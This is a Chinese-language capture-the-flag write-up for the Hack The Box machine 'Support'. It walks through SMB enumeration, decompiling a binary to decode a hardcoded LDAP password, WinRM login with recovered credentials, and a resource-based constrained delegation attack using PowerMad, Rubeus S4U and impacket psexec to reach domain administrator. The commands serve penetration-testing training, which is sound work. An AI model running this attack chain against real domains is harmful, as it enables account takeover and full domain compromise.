hackthebox靶机Support
字数 1362 2025-08-11 08:35:57
HTB靶机Support渗透测试报告
1. 信息收集
1.1 端口扫描
使用Nmap进行全端口扫描:
nmap -sV -sC -sS -p 1-10000 10.10.11.174
扫描结果:
- 53/tcp: DNS服务
- 88/tcp: Kerberos服务
- 135/tcp: RPC服务
- 139/tcp: NetBIOS服务
- 389/tcp: LDAP服务(域: support.htb)
- 445/tcp: SMB服务
- 5985/tcp: WinRM服务
- 其他端口: 各种Windows服务
1.2 SMB共享枚举
使用smbclient查看共享:
smbclient -N -L //10.10.11.174
发现support-tools共享,下载其中的UserInfo.exe.zip文件:
smbclient -N //10.10.11.174/support-tools
get UserInfo.exe.zip
2. 密码提取
2.1 反编译分析
使用dnSpy工具反编译UserInfo.exe,发现关键代码:
internal class Protected {
public static string getPassword() {
byte[] array = Convert.FromBase64String(Protected.enc_password);
byte[] array2 = array;
for (int i = 0; i < array.Length; i++) {
array2[i] = (array[i] ^ Protected.key[i % Protected.key.Length] ^ 223);
}
return Encoding.Default.GetString(array2);
}
private static string enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E";
private static byte[] key = Encoding.ASCII.GetBytes("armando");
}
2.2 密码解密
编写Python脚本解密密码:
import base64
array = base64.b64decode("0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E")
key = b"armando"
array2 = ''
for i in range(len(array)):
array2 += chr(array[i] ^ key[i % len(key)] ^ 223)
print(array2)
解密得到密码:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
3. LDAP枚举
3.1 LDAP连接
使用ldapsearch命令连接LDAP服务器:
ldapsearch -H ldap://10.10.11.174:389 -D ldap@support.htb -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "dc=support,dc=htb" "Administrator"
3.2 图形化界面
使用Apache Directory Studio连接LDAP:
- 新建连接
- 输入连接名和域名
- 输入Bind DN和密码
- 检查连接成功后完成
在Users下找到support用户,发现info字段包含密码:Ironside47pleasure40Watchful
4. 初始访问
4.1 WinRM连接
使用evil-winrm连接目标:
evil-winrm -u support -p 'Ironside47pleasure40Watchful' -i support.htb
在C:\Users\Support\Desktop目录获取user.txt
5. 权限提升
5.1 域信息收集
查看当前域信息:
Get-ADDomain
查看当前用户所属组:
whoami /groups
5.2 基于资源的约束委派攻击
5.2.1 攻击条件检查
检查ms-DS-MachineAccountQuota属性:
Get-ADObject -Identity ((Get-ADDomain).distinguishedname) -Properties ms-DS-MachineAccountQuota
检查msds-allowedtoactonbehalfofotheridentity属性:
Get-DomainComputer DC | select name, msds-allowedtoactonbehalfofotheridentity
5.2.2 创建机器账户
使用PowerMad创建新机器账户:
New-MachineAccount -MachineAccount FAKE-COMP01 -Password $(ConvertTo-SecureString 'Password123' -AsPlainText -Force)
验证创建:
Get-ADComputer -identity FAKE-COMP01
5.2.3 配置委派
设置DC允许FAKE-COMP01代表它行事:
Set-ADComputer -Identity DC -PrincipalsAllowedToDelegateToAccount FAKE-COMP01$
验证设置:
Get-ADComputer -Identity DC -Properties PrincipalsAllowedToDelegateToAccount
5.2.4 S4U攻击
使用Rubeus获取机器账户的hash:
./Rubeus.exe hash /password:Password123 /user:FAKE-COMP01$ /domain:support.htb
获取到RC4_HMAC值:58A478135A93AC3BF058A5EA0E8FDB71
执行S4U攻击:
./rubeus.exe s4u /user:FAKE-COMP01$ /rc4:58A478135A93AC3BF058A5EA0E8FDB71 /impersonateuser:Administrator /msdsspn:cifs/dc.support.htb /domain:support.htb /ptt
5.2.5 票据转换与利用
将票据转换为impacket可用的格式:
python ticketConverter.py ticket.kirbi ticket.ccache
使用psexec获取shell:
KRB5CCNAME=ticket.ccache ./psexec.py support.htb/administrator@dc.support.htb -k -no-pass
在C:\Users\Administrator\Desktop目录获取root.txt
6. 总结
本次渗透测试的关键步骤:
- 通过SMB共享获取包含密码的应用程序
- 反编译分析获取LDAP密码
- 通过LDAP查询获取用户凭据
- 利用基于资源的约束委派进行权限提升
- 最终获取域管理员权限
7. 参考工具
- dnSpy: .NET反编译工具
- Apache Directory Studio: LDAP图形化工具
- Evil-WinRM: WinRM连接工具
- PowerSploit/PowerView: PowerShell AD信息收集工具
- PowerMad: 机器账户操作工具
- Rubeus: Kerberos攻击工具
- Impacket: 网络协议工具集